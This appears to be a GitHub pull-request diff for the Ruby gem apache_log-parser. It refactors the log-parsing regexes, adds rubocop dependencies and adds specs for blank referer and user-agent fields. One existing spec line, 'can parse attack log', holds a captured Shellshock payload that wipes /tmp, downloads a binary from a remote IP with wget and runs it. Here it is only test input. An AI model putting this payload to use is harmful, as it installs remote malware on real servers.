Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 3 additions & 1 deletion apache_log-parser.gemspec
Original file line number Diff line number Diff line change
Expand Up @@ -18,7 +18,9 @@ Gem::Specification.new do |spec|
spec.test_files = spec.files.grep(%r{^(test|spec|features)/})
spec.require_paths = ["lib"]

spec.add_development_dependency "bundler", "~> 1.6"
spec.add_development_dependency "bundler", "> 1.6"
spec.add_development_dependency "rake"
spec.add_development_dependency "rspec"
spec.add_development_dependency "rubocop"
spec.add_development_dependency "rubocop-rspec"
end
63 changes: 35 additions & 28 deletions lib/apache_log/parser.rb
Original file line number Diff line number Diff line change
Expand Up @@ -3,27 +3,39 @@

module ApacheLog
class Parser
COMMON_FIELDS = %w(remote_host identity_check user datetime request status size)
COMBINED_FIELDS = COMMON_FIELDS + %w(referer user_agent)
COMMON_FIELDS = %i[remote_host identity_check user datetime request status size]
COMBINED_FIELDS = COMMON_FIELDS + %i[referer user_agent]

BAREWORD = '(\S+)'
QUOTED = '"(.*?[^\\\\]|)"'

PATTERNS = {
remote_host: '((?:\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})|(?:[\w:]+?))',
identity_check: BAREWORD,
user: BAREWORD,
datetime: '\[(\d{2}\/.*\d{4}:\d{2}:\d{2}:\d{2}\s.*)\]',
request: QUOTED,
status: BAREWORD,
size: BAREWORD,
referer: QUOTED,
user_agent: QUOTED
}

COMMON_PATTERN = '(?:^|\s)((?:\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})|(?:[\w:]+?))\s+(\S+)\s+(\S+)\s+\[(\d{2}\/.*\d{4}:\d{2}:\d{2}:\d{2}\s.*)\]\s+"(.*?)"\s+(\S+)\s+(\S+)'
COMBINED_PATTERN = COMMON_PATTERN + '\s+"(.*?[^\\\\])"\s+"(.*?[^\\\\])"'
ADDITIONAL_PATTERN = '\s+"?([^"]*)"?'

def initialize(format, additional_fields=[])
additional_pattern = ''
additional_pattern << ADDITIONAL_PATTERN * additional_fields.size

case format
when 'common'
@fields = COMMON_FIELDS + additional_fields
@pattern = /#{COMMON_PATTERN}#{additional_pattern}/
when 'combined'
@fields = COMBINED_FIELDS + additional_fields
@pattern = /#{COMBINED_PATTERN}#{additional_pattern}/
else
raise "format error\n no such format: <#{format}> \n"
end
def initialize(format, additional_fields = [])
additional_pattern = ADDITIONAL_PATTERN * additional_fields.size

base_fields = case format.to_s
when 'common' then COMMON_FIELDS
when 'combined' then COMBINED_FIELDS
else raise "format error\n no such format: <#{format}> \n"
end

base_pattern = '(?:^|\s)' + base_fields.map { |f| PATTERNS[f] }.join('\s+')

@fields = base_fields + additional_fields.map(&:to_sym)
@pattern = /#{base_pattern}#{additional_pattern}/
end

def parse(line)
Expand All @@ -38,16 +50,11 @@ def parse(line)

def generate_hash(keys, values)
keys.each.with_index(1).each_with_object({}) do |(key, i), hash|
key = key.to_sym

case key
when :datetime
hash[key] = to_datetime(values[i])
when :request
hash[key] = parse_request(values[i])
else
hash[key] = values[i]
end
hash[key] = case key
when :datetime then to_datetime(values[i])
when :request then parse_request(values[i])
else values[i]
end
end
end

Expand Down
20 changes: 20 additions & 0 deletions spec/apache_log/parser_spec.rb
Original file line number Diff line number Diff line change
Expand Up @@ -54,6 +54,26 @@
expect(entity).to eq(expect)
end

it 'can parse combined log with blank referer' do
line = '192.168.0.1 - - [07/Feb/2011:10:59:59 +0900] "GET /x/i.cgi/net/0000/ HTTP/1.1" 200 9891 "" "DoCoMo/2.0 P03B(c500;TB;W24H16)"';
parser = ApacheLog::Parser.new('combined')
entity = parser.parse(line.chomp)
expect = {remote_host: '192.168.0.1', identity_check: '-', user:'-', datetime: DateTime.new(2011, 2, 7, 10, 59, 59, 0.375),
request: {method: 'GET', path: '/x/i.cgi/net/0000/', protocol: 'HTTP/1.1'}, status: '200', size: '9891', referer: '',
user_agent: 'DoCoMo/2.0 P03B(c500;TB;W24H16)'}
expect(entity).to eq(expect)
end

it 'can parse combined log with blank user agent' do
line = '192.168.0.1 - - [07/Feb/2011:10:59:59 +0900] "GET /x/i.cgi/net/0000/ HTTP/1.1" 200 9891 "-" ""';
parser = ApacheLog::Parser.new('combined')
entity = parser.parse(line.chomp)
expect = {remote_host: '192.168.0.1', identity_check: '-', user:'-', datetime: DateTime.new(2011, 2, 7, 10, 59, 59, 0.375),
request: {method: 'GET', path: '/x/i.cgi/net/0000/', protocol: 'HTTP/1.1'}, status: '200', size: '9891', referer: '-',
user_agent: ''}
expect(entity).to eq(expect)
end

it 'can parse attack log' do
line = '121.207.230.74 - - [13/Apr/2015:08:21:54 +0900] "GET / HTTP/1.1" 200 2392 "() { :; }; /bin/bash -c \"rm -rf /tmp/*;echo wget http://61.160.212.172:911/java -O /tmp/China.Z-orwj >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-orwj >> /tmp/Run.sh;echo /tmp/China.Z-orwj >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\"" "() { :; }; /bin/bash -c \"rm -rf /tmp/*;echo wget http://61.160.212.172:911/java -O /tmp/China.Z-orwj >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-orwj >> /tmp/Run.sh;echo /tmp/China.Z-orwj >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\""'
parser = ApacheLog::Parser.new('combined')
Expand Down